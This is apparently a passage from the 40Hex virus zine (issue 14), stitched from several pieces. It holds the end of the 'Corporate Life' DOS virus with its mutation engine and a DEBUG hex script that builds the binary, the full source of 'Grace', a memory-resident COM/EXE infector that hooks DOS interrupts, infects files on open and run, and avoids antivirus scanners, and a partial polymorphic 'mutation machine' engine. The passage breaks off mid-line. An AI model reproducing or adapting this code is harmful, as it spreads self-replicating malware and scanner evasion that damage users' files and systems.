HostMem dw 0 Credits: db '$B -=[$$$ Corporate Life $$$]=- P$' EndCredits: OrgSize dd 0 FCB1: FCBDrive db 0 FCBFName db 8 dup(0) FCBExt db 3 dup(0) FCBBlock dw 0 FCBRecSize dw 0 FCBFSize dd 0 FCBDate dw 0 FCBTime dw 0 FCBReserved db 8 dup(0) FCBCurRec db 0 FCBRanRec dd 0 EndFCB1: EXEHeader db 40 dup(0) ;-----------------]> Activation routine - talks if sound blaster speech drv'r ActivateSoundBlaster: CheckIfSBSpeechEnabled: push ax bx es ds si di xor ax,ax mov es,ax mov ax,0fbfbh int 2f mov ax,es or ax,ax jz notinstalled cmp word ptr es:[bx],'BF' jne notinstalled SayFuckCorporateLife: mov ax,0707 mov si,offset speechbuf mov di,20 add di,bx mov cx,(endmess-speechbuf) push cs pop ds repnz movsb call dword ptr es:[bx+4] NotInstalled: pop di si ds es bx ax ret speechbuf: db (endmess-message) message db 'Fuck Corporat Life.',0a,0dh endmess: ;-----------------]> Simple friggin' mutation engine, but quite small.... Mutate: push cs cs pop es ds mov cx,(end_main-EXE_Entry) call InitRand SetupCounter: mov word ptr [SetCounter+1],cx PreProcessCode: mov di,offset NewCodeBuffer mov si,offset EXE_Entry repnz movsb SelectCounterAndPointer: call GetRand and ax,707 cmp al,4 je SelectCounterAndPointer cmp ah,3 je RegsValid cmp ah,6 je RegsValid cmp ah,7 je RegsValid jmp short SelectCounterAndPointer RegsValid: cmp ah,al je SelectCounterAndPointer FindAddressingReg: push ax cmp ah,3 jne Is_SI_or_DI xor ah,4 jmp GotAddrReg Is_SI_Or_DI: xor ah,2 GotAddrReg: mov dh,ah ;DH now holds addressing reg value GetRandomXorKey: call GetRand mov byte ptr [XorByte+2],al pop ax SetNewRegs: and byte ptr [XorByte+1],11111000b and byte ptr [SetCounter],11111000b and byte ptr [DecCounter],11111000b and byte ptr [SetPointer],11111000b and byte ptr [IncPointer],11111000b or byte ptr [SetCounter],al or byte ptr [DecCounter],al or byte ptr [SetPointer],ah or byte ptr [IncPointer],ah or byte ptr [Xorbyte+1],dh mov dx,ax SetupDummy: call GetRand and ax,707 cmp al,4 je SetupDummy cmp al,dh je SetupDummy cmp al,dl je SetupDummy mov ah,al and word ptr [OneByte],1111100011111000b or word ptr [Onebyte],ax EncryptCode: mov word ptr [SetPointer+1],offset NewCodeBuffer call SetCounter mov word ptr [SetPointer+1],offset EXE_Entry SetupDecrypt: mov si,offset EncryptionPrototype mov di,offset DecryptBuffer call MakeOneBytes call OneByteInst call OneByteInst call OneByteInst call ThreeByteInst call ThreeByteInst mov bx,di call ThreeByteInst call OneByteInst movsw mov ax,di sub ax,bx not al stosb FillBuffer: mov cx,offset NewCodeBuffer sub cx,di call MakeAByte ret ThreeByteInst: movsw OneByteInst: movsb call MakeOneBytes ret MakeOneBytes: push bx cx call GetRand and ax,3 inc ax mov cx,ax call MakeAByte pop cx bx ret MakeAByte: call GetRand and ax,3 mov bx,ax add bx,offset OneByte mov al,byte ptr [bx] stosb loop MakeAByte ret InitRand: push ds xor ax,ax mov ds,ax mov ax,word ptr ds:[46c] pop ds mov word ptr cs:[RandKey],ax ret GetRand: push cx dx mov ax,word ptr cs:[RandKey] mov cx,4791 mul cx mov cx,dx ror ax,cl add ax,9174 mov word ptr cs:[Randkey],ax pop dx cx ret RandKey dw 0 EncryptionPrototype: SaveSeg: push es SetCurSeg: push cs pop ds SetCounter: mov bx,0ffff SetPointer: mov si,0ffff XorByte: xor byte ptr [si],0ff IncPointer: inc si DecCounter: dec bx LoopMod: jnz XorByte ExitPrototype: ret DummyInstructions: OneByte: inc cx dec cx nop sti end_mut: end_main: DecryptBuffer db 30 dup(?) NewCodeBuffer db (end_main-EXE_Entry) dup (?) end_prog: end start ;----------------------- end corplife.asm --------------------------------- N corplife.com E 0100 06 0E 1F 90 90 90 90 90 90 90 90 90 90 90 90 90 E 0110 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E 0120 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E 0130 EB 01 9A 2E D1 0E 3C 02 EB 01 EA 2E FF 36 4E 01 E 0140 B8 15 FF 50 8B EC F7 56 00 2E 8F 06 4E 01 2E 8F E 0150 06 4E 01 E8 F7 00 B8 01 30 CD 21 3C 06 77 07 3C E 0160 03 72 03 EB 05 EA E9 A4 00 FF BA FE 05 B8 BA A6 E 0170 92 0E F7 D0 F7 D2 CD 16 1F B4 09 BA 2F 06 CD 21 E 0180 73 03 E9 88 00 33 C0 1E 50 1F FF 36 84 00 FF 36 E 0190 14 00 FF 36 86 00 FF 36 16 00 8F 06 0E 00 2E 8F E 01A0 06 4B 02 8F 06 0C 00 2E 8F 06 49 02 1F 06 B4 4A E 01B0 BB FF FF E8 8C 00 83 EB 76 B4 4A E8 84 00 BB 75 E 01C0 00 B4 48 E8 7C 00 2D 10 00 8E C0 BF 00 01 8B F7 E 01D0 B9 49 07 F2 A4 1E 8E D9 FF 36 88 00 FF 36 8A 00 E 01E0 C7 06 88 00 92 02 8C 06 8A 00 C7 06 06 00 F0 FF E 01F0 C7 06 04 00 00 00 58 5B 1F 26 89 1E 46 03 26 A3 E 0200 48 03 1F C7 06 0A 00 92 02 8C 06 0C 00 07 06 1F E 0210 8C C0 05 10 00 2E 01 06 3C 02 2E 03 06 3E 02 FA E 0220 8E D0 2E 8B 26 40 02 33 C0 33 DB 33 C9 33 D2 33 E 0230 FF BE 00 01 FB 2E FF 2E 3A 02 00 00 F0 FF F0 FF E 0240 FE FF 9C 2E FF 1E 49 02 C3 00 00 00 00 B9 11 00 E 0250 E8 02 00 C3 81 EB 11 FF 49 58 5B 5A 74 03 E8 F4 E 0260 FF 2E D1 06 3C 02 C3 CD 8B EC 1E 8C CB 50 C7 46 E 0270 FC 00 00 1F C7 06 0C 00 58 02 89 1E 0E 00 1F CC E 0280 E2 FE 8E D9 FF 36 6C 04 FF 36 6C 04 FF 36 6E 04 E 0290 CF 83 B4 52 E8 AB FF 26 8E 47 FE 8C C3 26 A1 03 E 02A0 00 8C C1 03 C1 40 8E C0 26 A1 03 00 3D EE 00 72 E 02B0 0A 26 83 3E 01 00 00 74 28 EB 0A 26 83 3E 01 00 E 02C0 00 75 02 EB 02 8C C3 8C C1 03 C1 40 3D 00 F0 74 E 02D0 0D 26 80 3E 00 00 4D 75 05 8E C0 EB CB 81 EB 65 E 02E0 EA 8C C2 8E C3 43 26 03 1E 03 00 53 8C C0 26 FF E 02F0 36 01 00 06 40 26 8B 1E 03 00 2E A3 2D 06 8E C0 E 0300 B4 4A 81 C3 ED 00 E8 39 FF 72 B0 07 26 8F 06 01 E 0310 00 58 2D 10 00 8E C0 BF 00 01 8B F7 0E 1F B9 92 E 0320 0E F2 A4 41 8E D9 FF 36 74 00 FF 36 76 00 C7 06 E 0330 74 00 4B 03 8C 06 76 00 26 8F 06 73 03 26 8F 06 E 0340 71 03 E8 75 03 EA 00 00 00 00 FF 80 FC 09 75 0F E 0350 87 D3 81 3F 24 42 87 D3 75 16 F9 CA 02 00 88 50 E 0360 80 F4 11 74 20 80 F4 03 74 1B 80 F4 5B 74 07 58 E 0370 EA 00 00 00 00 EA 8C C0 2E 3B 06 2D 06 58 75 F0 E 0380 CF EA E9 AB 00 58 E8 AB 00 0A C0 75 F5 50 53 51 E 0390 52 06 1E 56 57 E8 4B 02 B4 2F E8 97 00 06 53 26 E 03A0 80 3F FF 75 79 83 C3 07 26 81 7F 09 45 58 75 6E E 03B0 26 80 7F 0B 45 75 67 26 81 7F 19 00 C8 77 39 E8 E 03C0 CC 00 72 34 06 53 0E 07 BF 55 06 B9 25 00 33 C0 E 03D0 57 F2 AA 5F 5E 1F B9 0C 00 F2 A4 B4 0F 0E 1F BA E 03E0 55 06 E8 4F 00 FE C0 74 0F 06 53 E8 51 00 5B 07 E 03F0 B4 10 BA 55 06 E8 3C 00 26 81 7F 19 00 C8 72 1E E 0400 26 81 6F 19 00 C8 53 B4 62 E8 28 00 8C C8 3B D8 E 0410 5B 77 0B 26 81 6F 1D 89 07 26 83 5F 1F 00 5A 1F E 0420 B4 1A E8 0F 00 E8 E2 01 5F 5E 1F 07 5A 59 5B 58 E 0430 CA 02 00 EA 9C 2E FF 1E 71 03 C3 9A EB 30 EA FF E 0440 36 6B 06 FF 36 69 06 FF 36 65 06 FF 36 67 06 8F E 0450 06 53 06 8F 06 51 06 E8 8C 00 72 0B E8 C0 00 E8 E 0460 3A 00 E8 14 00 EB 02 72 05 58 05 00 C8 50 2E 8F E 0470 06 69 06 2E 8F 06 6B 06 C3 A1 51 06 8B 16 53 06 E 0480 05 89 07 83 D2 00 A3 65 06 89 16 67 06 C3 50 1E E 0490 33 C0 8E D8 A1 6C 04 D1 E8 1F 58 C3 A1 65 06 8B E 04A0 16 67 06 25 FF 01 A3 7C 06 A1 65 06 74 03 05 FF E 04B0 01 B1 09 D3 E8 B1 07 D3 E2 03 D0 89 16 7E 06 83 E 04C0 06 84 06 76 B4 1A BA 7A 06 E8 68 FF BA 55 06 C6 E 04D0 06 75 06 00 C7 06 61 06 00 00 C7 06 63 06 40 00 E 04E0 B4 15 E8 4F FF C3 C7 06 63 06 40 00 B4 1A BA 7A E 04F0 06 E8 40 FF B4 14 BA 55 06 E8 38 FF A1 7A 06 02 E 0500 E0 80 F4 A7 75 17 83 3E 94 06 00 75 10 83 3E 92 E 0510 06 40 73 09 83 3E 67 06 04 77 02 F8 C3 F9 C3 FF E 0520 36 88 06 A1 65 06 FF 36 8A 06 8B 16 67 06 FF 36 E 0530 8E 06 B1 04 8B 1E 82 06 D3 E3 2B C3 83 DA 00 FF E 0540 36 90 06 D3 E8 8F 06 3C 02 15 00 00 8F 06 3A 02 E 0550 8B D8 8F 06 40 02 D3 E0 8F 06 3E 02 83 D2 00 B1 E 0560 0C D3 E2 03 DA 83 EB 0F 89 1E 90 06 C7 06 8E 06 E 0570 00 01 81 C3 F0 00 89 1E 88 06 C7 06 8A 06 FE 02 E 0580 A1 65 06 8B 16 67 06 B1 04 D3 E8 15 00 00 8A EA E 0590 B1 04 D3 EA D2 E5 02 E5 83 D2 00 40 83 D2 00 A3 E 05A0 76 06 89 16 78 06 C7 06 63 06 10 00 51 53 52 56 E 05B0 57 E8 55 01 5F 5E 5A 5B 59 BA 49 08 B4 1A E8 73 E 05C0 FE 52 B4 22 BA 55 06 E8 6A FE 5A E8 07 00 81 FA E 05D0 92 0F 72 E8 C3 83 C2 10 83 06 76 06 01 83 16 78 E 05E0 06 00 C3 50 1E B8 09 00 8E D8 FF 36 00 00 FF 36 E 05F0 02 00 2E 8F 06 2B 06 2E 8F 06 29 06 C7 06 00 00 E 0600 26 06 0E 8F 06 02 00 1F 58 C3 50 1E 2E FF 36 29 E 0610 06 B8 09 00 2E FF 36 2B 06 8E D8 8F 06 02 00 8F E 0620 06 00 00 1F 58 C3 B0 03 CF 00 00 00 00 00 00 24 E 0630 42 20 2D 3D 5B 24 24 24 20 43 6F 72 70 6F 72 61 E 0640 74 65 20 4C 69 66 65 20 24 24 24 5D 3D 2D 20 50 E 0650 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0660 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0670 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0680 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0690 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 06A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 06B0 00 00 00 00 00 00 00 00 00 00 50 53 06 1E 56 57 E 06C0 33 C0 8E C0 B8 FB FB CD 2F 8C C0 0B C0 74 1D 26 E 06D0 81 3F 46 42 75 16 B8 07 07 BE F3 06 BF 20 00 03 E 06E0 FB B9 16 00 0E 1F F2 A4 26 FF 5F 04 5F 5E 1F 07 E 06F0 5B 58 C3 15 46 75 63 6B 20 43 6F 72 70 6F 72 61 E 0700 74 20 4C 69 66 65 2E 0A 0D 0E 0E 07 1F B9 19 07 E 0710 E8 F8 00 89 0E 38 08 BF 79 08 BE 30 01 F2 A4 E8 E 0720 F7 00 25 07 07 3C 04 74 F6 80 FC 03 74 0C 80 FC E 0730 06 74 07 80 FC 07 74 02 EB E5 3A E0 74 E1 50 80 E 0740 FC 03 75 05 80 F4 04 EB 03 80 F4 02 8A F4 E8 C8 E 0750 00 A2 3F 08 58 80 26 3E 08 F8 80 26 37 08 F8 80 E 0760 26 41 08 F8 80 26 3A 08 F8 80 26 40 08 F8 08 06 E 0770 37 08 08 06 41 08 08 26 3A 08 08 26 40 08 08 36 E 0780 3E 08 8B D0 E8 92 00 25 07 07 3C 04 74 F6 3A C6 E 0790 74 F2 3A C2 74 EE 8A E0 81 26 45 08 F8 F8 09 06 E 07A0 45 08 C7 06 3B 08 79 08 E8 8C 00 C7 06 3B 08 30 E 07B0 01 BE 34 08 BF 49 08 E8 2E 00 E8 26 00 E8 23 00 E 07C0 E8 20 00 E8 1C 00 E8 19 00 8B DF E8 14 00 E8 12 E 07D0 00 A5 8B C7 2B C3 F6 D0 AA B9 79 08 2B CF E8 18 E 07E0 00 C3 A5 A4 E8 01 00 C3 53 51 E8 2C 00 25 03 00 E 07F0 40 8B C8 E8 03 00 59 5B C3 E8 1D 00 25 03 00 8B E 0800 D8 81 C3 45 08 8A 07 AA E2 EF C3 1E 33 C0 8E D8 E 0810 A1 6C 04 1F 2E A3 32 08 C3 51 52 2E A1 32 08 B9 E 0820 91 47 F7 E1 8B CA D3 C8 05 74 91 2E A3 32 08 5A E 0830 59 C3 00 00 06 0E 1F BB FF FF BE FF FF 80 34 FF E 0840 46 4B 75 F9 C3 41 49 90 FB R CX 0749 W Q 40Hex Number 14 Volume 5 Issue 1 File 009 ;============================================================================== ; ; Grace ; ; Mid-file COM/EXE TSR infector, 1294 bytes ; ; This virus employs a brand new infection mechanism such that virus ; scanners which only check the entry points will fail. ie. heuristics ; are (so far) worthless against this virus. However this opens the virus ; up to signature scanning vulnerability because the entry point code ; is fixed and very specific. The next version of this virus will feature ; a general architectural reconstruction, multiple-block displacement ; and also polymorphism, so keep your eyes peeled for that one. ; ; I know there has been another virus which has done mid-file infection ; (Commander Bomber) but that uses a different method which achieves ; a similar result (ie, infection in the middle of the host). However ; the implementation illustrated in this virus is a more simple ; rendition of the idea, it simply has a 'wrapper' which relocates blocks ; etc. into the appropriate positions before the virus proper gains ; control. Cmdr Bomber, on the other hand, inserts multiple polymorphic ; jumps, but only infects .com files. ; ; This code is getting on (about 8 months) and has a few drawbacks. It ; just took too much stuffing around writing it that I didn't want to ; change it! :> .. for example the abovementioned susceptibility to sig ; scanning.. also the relocation of the entire header information to the ; end of the exe file (lame..) which requires heaps more memory than the ; average virus and suspicious extra disk accesses. Also, it was written ; to be compiled with a86 [1988] so the stuff at the end I had to count up ; manually. So I don't use TASM, and dont do my tabs right.. that's my ; problem. :> ..If I'd known how much mucking around this virus would ; have taken to write before I'd written it, I wouldn't have bothered. ; But I didn't, so I did, and here's the final product. It works! ;) ; ; There's a lot of commenting on this thing (left over from a tutorial I ; did for someone) so it's not *too* difficult to understand if you are ; taking a stroll through the code.. it's also pretty modular and some parts ; have just been fitted in without much optimization (eg the filename ; and extension checking routine could have been redone because there's only ; 2 allowable extensions). ; ; Apart from residing around the middle of the host it's pretty much just ; your standard virus.. it infects COM/EXE files on open, attrib, exec, ; move, and extended open.. also on program termination via function 4ch ; there's a chance the happy message "Have a nice DOS!" or "Have a nice ; piss-up!" will appear after blanking the screen. I personally hate ; programs which think they're being humourous with this little number, so ; there you go.. have fun. ; ; -T„L”N 02/95- ; ;============================================================================== ; ; when you run it, run it with a debugger, at the entry point to the actual ; virus (ie not the relocation wrapper) needs PSP in BP, and virus offset ; in memory in DI .. ie 100h if you're executing the kernal. in other ; words, there's no way this virus can be 'accidentally' compiled and ; run, because it will crash unless you do the above step.. ; ;------------------------------------------------------------------------------ ; ; Some equates and stuff for use within the virus .. ; org 0 ; will be assembled with start of 0 @JO equ 070h ; JO operand for variable branch @JMPS equ 0ebh ; JMP SHORT @tsrchk equ 6968h ; our tsr check p_len equ 5120/16 ; amount of memory we take up @marker equ 'PK' ; marker for infected file load equ 1536 ; scratch area offset vstack equ 1536 ; ceiling for our own stack .. = load k_len equ 52 ; length of relocation code ek_len equ 36 ; length of extra relocation code s_len equ 48 ; length of temp EXE stack ;------------------------------------------------------------------------------ ; assumes DI points to virus start ; ES = PSP v_start: push di mov cx, cs mov ax, @tsrchk ; int 21h will return an error int 21h ; unless our virus is already TSR xor bx, ax ; is bx xor ax = 0 ?? (will be if TSR) jz bail ; jump if zero to a bail routine ; otherwise install ourselves TSR. mov ax, bp ; in segment PSP-1 is the MCB chain. dec ax ; We will edit that to get us some ; memory to hide in. memloop: mov ds, ax ; set data segment cmp byte ptr [0], 'Z' ; is it the last block? je fixmem mov bx, ax ; keep segment of prev. block add ax, word ptr [3] ; AX now equals seg of next MCB inc ax jmp short memloop ; and check it .. fixmem: cmp word ptr [3], p_len*10 ; is block too small? jae fm_ok mov ds, bx ; yeah, use previous block xchg ax, bx fm_ok: sub word ptr [3], p_len ; steal the memory we need add ax, word ptr [3] ; get its segment value inc ax mov word ptr [12h], ax ; and feed it to the PSP of ; the host program - otherwise ; command.com will crash mov es, ax ; ES = destination segment for push cs ; the move.. pop ds ; DS = source segment xor di, di push cx mov cx, v_len ; # of bytes to move cld ; forward direction... rep movsb ; move CX bytes ds:si -> es:di pop cx gethi: push es ; push dest. seg on stack mov ax, offset dms ; and the offset of where to go push ax retf ; and jump there. dms: xor ax, ax mov ds, ax mov si, 21h*4 ; offset of int 21h vector movsw ; mov word from DS:SI to ES:DI movsw ; and again sub si, 4 mov word ptr [si], offset new21 ; revector int 21h mov word ptr [si+2], cs ; we have saved the old int 21h value so we can still jump to it, and we have ; put our offset and segment in its place -- so every time an int 21h call ; is issued, control is passed to the virus. Now let's split. xor si, si ; zero si since we've relocated bail: mov es, bp ; restore to ES the PSP segment push cs ; and let DS be our CS pop ds add si, offset old_shit ; point SI to our old data gl: jo exit_exe ; JO changed to JMP in EXE mov di, 0100h ; COMs always start execution add sp, 2 push bp ; at PSP:100h push di movsw ; restore host's original 5 movsw movsb jmp short zero_shit ; split exit_exe: add bp, 10h lodsw add ax, bp xchg ax, bx lodsw pop di relo_stuff: mov ss, bx xchg ax, sp lodsw ; now get the starting address xchg ax, bx ; from where we've stored it. lodsw add ax, bp mov ds, cx xchg si, di ; DS:SI = relocation table push ax ; push exe CS:IP onto stack... push bx lodsw ; # of relocation items xchg cx, ax jcxz rldone relo_loop: lodsw ; relocate them... xchg ax, di lodsw add ax, bp mov es, ax add word ptr es:[di], bp loop relo_loop rldone: sub bp, 10h zero_shit: xor ax, ax ; clean our hands mov bx, ax mov cx, ax cwd mov si, ax mov di, ax mov ds, bp ; DS=ES=PSP .. mov es, bp mov bp, ax ; everything = 0... retf ; I didn't see nothin! old_shit: int 20h ; 4 words to store either the dw 0,0,0 ; old EXE header values or the ; old COM header info. db '-[Grace] by T„L”N 94-' ; ; end of installation routine. ; ;------------------------------------------------------------------------------ ; ; The 'Have a nice DOS!' or 'Have a nice piss-up!' effect. ; hahaha: in al, 40h cmp al, 0e0 jbe ha_ex push bx push dx push ds mov ah, 0fh int 10h ; get video mode xor ah, ah int 10h ; clear that mode's screen mov ah, 2 xor dx, dx int 10h push cs pop ds mov ah, 9 mov dx, offset msg ; print the msg call i21 in al, 40h xchg ah, al in al, 40h xor al, ah cmp al, 0a0h jbe nicedos mov dx, offset XXXX jmp short prp nicedos: mov dx, offset doss prp: mov ah, 9 call i21 pop ds pop dx pop bx ha_ex: jmp short yeppo db 'You make me sick I make viruses' ;------------------------------------------------------------------------------ new21: cmp ax, @tsrchk ; is it us checking residence? jne n2 mov bx, ax ; yep, make BX = AX iret ; and return from interrupt. n2: push ax xchg ah, al cmp al, 3dh ; OPEN? je letsgo cmp al, 43h ; ATTRIB? je letsgo cmp al, 4bh ; EXEC? je letsgo cmp al, 4ch ; EXIT? je hahaha cmp al, 56h ; RENAME? je letsgo cmp al, 6ch ; EXT_OPEN? jne yeppo push dx mov dx, si call infect pop dx jmp short yeppo letsgo: call infect ; call the infection routine yeppo: pop ax ; restore AX n21_2: jmp dword ptr cs:[old21] ; and act as if nothing's up new24: mov al, 3 ; a cool critical error handler iret file_end: mov ax, 4202h ; some internal virus functions jmp short seek_vals file_zero: mov ax, 4200h seek_vals: xor cx, cx xor dx, dx i21: pushf ; simulate an int 21h push cs call n21_2 ret ; the working horse of the virus. infect: push ax ; save all the registers push bx ; that we'll be screwing with push cx push dx push si push di push ds push es ; now, we need to save the name of the file we're dealing with at a permanent ; location so that it's easier to reference. We also need to check to see if ; it's an invalid filename (ie. contains SC (eg Scan), CL (clean) etc etc.). push cs pop es mov di, offset filename mov si, dx ; on all the above calls, ; DS:DX points to the filename. ; we put it in SI for the LODSB ; instruction. storename: lodsb ; [DS:SI] -> AL stosb ; AL -> [ES:DI] or al, al ; is it 0 (end of ASCIIZ string)? jnz storename ; if not, keep going push cs ; toss out old data segment, pop ds ; we don't need it now. ; now we check the name and the extension. ; [this could do with a rewrite].. mov dx, di sub dx, 4 ; DX points to extension lea si, [di-12] ; SI = DI - 12 cmp si, offset filename+1 ; is it too far back? jae kkk1 mov si, offset filename+1 ; yep, point it right kkk1: dec si cmp si, dx ; is SI up to extension yet? je kkk2 lodsw ; no, check the word at SI... and ax, 0dfdfh ; capitalize the letters push di mov di, offset fucks mov cx, @fucks ; 4 things to check for... repne scasw ; this is: ; "keep comparing AX to [ES:DI] ; while AX <> [ES:DI] or until ; CX = 0. ie find if AX matches ; any of the disallowed things. pop di jne kkk1 ; try next 2 if no match.. jmp short ncexit_err ; otherwise we don't infect. kkk2: mov di, offset exts ; valid extensions mov cx, @exts cld lodsw and ax, 0dfdfh ; -> uppercase extchk: scasw ; does AX match extension? je extchk_2 inc di ; nope, try next extension loop extchk ; loop until cx=0 ncexit_err: jmp bitch ; .. if not valid extension, ; terminate infection routine extchk_2: lodsb ; otherwise check 3rd byte and al, 0dfh scasb jne ncexit_err ; set int 24h to our own so we don't get annoying "Write protect error" etc. set24: mov ax, 3524h ; get int 24h vector call i21 push es ; save it on the stack push bx mov dx, offset new24 mov ax, 2524h ; set int 24h vector call i21 push cs pop es ; now set the file attributes to zero... setattrib: mov ax, 4300h ; AX=4300h, Get attribs of file mov dx, offset filename ; DS:DX, filename call i21 push cx ; ..save them.. mov ax, 4301h xor cx, cx call i21 ; and zero them out. jc bitch1 ; if error, bail ... ; now we can safely open the file. mov ax, 3d02h ; open file, read/write access call i21 xchg ax, bx ; put file handle into bx mov ax, 5700h ; get the file's date/time call i21 push cx push dx ; check to see if the file is a COM or an EXE, according to its hdr structure. call file_zero ; seek to beginning of file mov ah, 3fh mov cx, 26 mov dx, offset signature call i21 ; read 24 bytes (header info) xor ax, cx ; bail if < 26 bytes read jnz bitch2 mov ax, @marker ; is there an infection marker? cmp word ptr [signature+3], ax ; [com] je bitch2 ; yep, it's already infected cmp word ptr [chksum], ax ; [exe] je bitch2 mov si, dx lodsb cmp al, 'M' ; EXEs start with MZ or ZM je goexe cmp al, 'Z' je goexe call cominf ; otherwise it's a COM file jmp short write_hdr goexe: call exeinf write_hdr: call file_zero ; seek to start of file mov ah, 40h mov cx, 26 mov dx, offset signature call i21 ; write patched header bitch2: pop dx ; restore the file's date/time pop cx mov ax, 5701h call i21 mov ah, 3eh ; and close it. call i21 bitch1: pop cx ; restore file's original mov ax, 4301h ; file attributes mov dx, offset filename call i21 pop dx ; get original i24h pop ds mov ax, 2524h call i21 ; and reinstate it bitch: pop es ; restore all the registers... pop ds pop di pop si pop dx pop cx pop bx pop ax ret ; and exit the infect routine. cominf: mov di, offset old_shit stosb movsw ; save first 5 bytes movsw call file_end or dx, dx ; COM >64k? jnz com_done cmp ax, 0f800h ; COM >60k? jae com_done push ax mov byte ptr [gl], @JO mov word ptr [k1+1], 0 ; we need a random value between 5 and (eof-v_len) sub ax, (v_len)+5 jc com_done2 call rnd_num add ax, 105h ; DX:AX is file offset of virus mov word ptr [k2+1], ax dec ah push ax call file_end add ax, v_len + k_len + 100h mov word ptr [k3+1], ax pop ax stc call write_us mov di, offset signature mov al, 0e9h ; now build us a JMP stosb pop ax dec ax ; ... dec ax dec ax stosw mov ax, @marker ; put in the infection marker stosw com_done: ret com_done2: pop ax ret ; this EXE infection is quite exhaustive in order to screw up the least amount ; of EXE files possible. A virus shows itself up when it wrecks things .. ; therefore it makes sense not to wreck things, hmm? exeinf: ; we have to check for internal overlays ; if present, don't infect the file call file_end push ax ; check for internal overlays push dx mov ax, word ptr [page_cnt] ; calculate how big the code mov cx, 512 ; part of the EXE is, according mul cx ; to its header info ... pop cx pop bp cmp ax, bp ; and compare it to the actual jb com_done ; file's size. cmp dx, cx ; if calc v16 dw 16 v30 dw 30 v512 dw 512 ;********************** Explosion's Mutation Machine ********************* db '* EMM 1.0 *' rnd_get: push si push ax push bx push cx push dx db 0b9h rnd2 dw ? db 0bbh rnd1 dw ? mov dx,015ah mov ax,4e35h xchg ax,si xchg ax,dx test ax,ax jz rnd_l1 mul bx rnd_l1: jcxz rnd_l2 xchg ax,cx mul si add ax,cx rnd_l2: xchg ax,si mul bx add dx,si inc ax adc dx,0000h mov cs:rnd1,ax mov cs:rnd2,dx mov ax,dx pop cx xor dx,dx jcxz rdbz ;division by zero div cx jmp short danilak_vyskumnik rdbz: xchg dx,ax ;if dx=0 on input then interval 0-ffff danilak_vyskumnik: pop cx pop bx pop ax pop si retn registers label near ;flag,value,offset when w=0 (operation with byte) rax db 3 dup(?),(offset rax-offset registers) rcx db 3 dup(?),(offset rcx-offset registers) rdx db 3 dup(?),(offset rdx-offset registers) rbx db 3 dup(?),(offset rbx-offset registers) rsp db 3 dup(?),(offset rax-offset registers) rbp db 3 dup(?),(offset rcx-offset registers) rsi db 3 dup(?),(offset rdx-offset registers) rdi db 3 dup(?),(offset rbx-offset registers) res db 4 dup(?) rflag db 4 dup(?) ;bits in flag: ; 0 = lo part of register set if 1 ; 1 = hi part of register set if 1 ; 2 = don't change value of register if 1 (for sp) fw db ? ;fw=0 when byte operation, fw=1 when word operation choose: push ax ;selection of routine according to the table push cx ;ds:si points to the table push dx ;table is in the format: byte/probability push si ; word/adr of routine xor cx,cx ;table ends with 0ffh take_next: lodsb cbw add cx,ax cmp al,0ffh lodsw jne take_next inc cx ;subtract 0ffffh pop si mov dx,cx call rnd_get try_next: lodsb cbw sub cx,ax lodsw cmp dx,cx jb try_next xchg si,ax pop dx pop cx pop ax jmp si ;jump to the selected routine getaddr: ;get addr of reg within registers table push ax push bx mov si,dx shl si,1 shl si,1 mov bx,offset registers add si,bx mov ch,3 ;mask for word register cmp fw,0 jne chsl add si,3 lodsb cbw xchg si,ax add si,bx dec ch ;mask for hi byte of reg test dl,04h jnz chsl dec ch ;mask for lo byte of reg chsl: pop bx pop ax retn gregl: ;select target reg (output in dx) push cx push si gregl_other: mov dx,8 call rnd_get call getaddr test byte ptr [si],04h ;can I modify value of reg? jnz gregl_other pop si pop cx retn gregp: ;select source reg with defined value (output in dx) push ax xor ah,ah jmp short kazisvet_prefikany gregls: ;select target reg with defined value (output in dx) push ax gl108: mov ah,04h kazisvet_prefikany: push cx push si push bp mov dx,8 call rnd_get mov bp,dx xor dx,dx mov cl,dl grdl1: call getaddr lodsb test al,ah jnz grng1 and al,03h cmp al,03h je vrah_pocitacovy_kosicky cmp al,ch jne grng1 vrah_pocitacovy_kosicky: inc cx dec bp js tulen_bacil grng1: inc dx cmp dx,8 jb grdl1 or cl,cl jnz gra1v stc jmp short grnv gra1v: and dx,07h jmp grdl1 tulen_bacil: clc grnv: pop bp pop si pop cx pop ax retn wtreg: ;write value into reg push cx push si call getaddr inc si cmp ch,3 jne wtw1 mov [si],ax jmp short wtb1 wtw1: cmp ch,1 je panko_revizor inc si panko_revizor: mov [si],al wtb1: pop si pop cx retn rfreg: ;read value from reg push cx push si call getaddr inc si cmp ch,3 jne rfw1 lodsw jmp short rfb1 rfw1: cmp ch,1 je rfnp inc si rfnp: lodsb rfb1: pop si pop cx retn shl3fw: or al,fw shl3dl: push dx mov cl,3 shl dl,cl or ah,dl pop dx retn ;************************* generating of MOV ********************* ;generating of mov reg,imm mt1: call gregl push dx mov al,fw mov cl,3 shl al,cl or al,10110000b or al,dl stosb xor dx,dx call rnd_get xchg ax,dx pop dx call wtreg call getaddr or [si],ch cmp ch,3 jne bt1 stosw jmp wd1 bt1: stosb wd1: retn ;generating of mov reg,reg mt2: call gregp jc wd1 call rfreg push ax mov ax,1100000010001010b or al,fw or ah,dl mov bx,dx nti1: call gregl cmp bx,dx je nti1 call shl3dl stosw pop ax call wtreg call getaddr or [si],ch retn chtab00 db 45 dw offset mt1 db 45 dw offset mt2 db 3 dw offset mt6 db 3 dw offset mt7 db 1 dw offset mt3 db 1 dw offset mt4 db 1 dw offset mt5 db 0ffh gmovr: mov si,offset chtab00 jmp choose ;generating of mov ds,reg mt5: mov fw,1 test res+3,1 jnz mt5err ;if ds is set to cs, do nothing call gregp jc mt5err mov ax,1101100010001110b or ah,dl stosw mt5err: retn ;generating of mov reg,sreg mt4: mov fw,1 mov dx,20h call rnd_get mov ax,1100000010001100b or ah,dl and ah,0f8h call gregl or ah,dl stosw call getaddr and ah,00011000b jz sppse and byte ptr [si],0fch ;value in reg is not valid retn sppse: mov al,res mov [si],al mov ax,word ptr res+1 mov [si+1],ax retn ;generating of mov es,reg mt3: mov fw,1 call gregp jc mt3err mov ax,1100000010001110b or ah,dl stosw call rfreg or res,3 mov word ptr res+1,ax mt3err: retn ;generating of xor 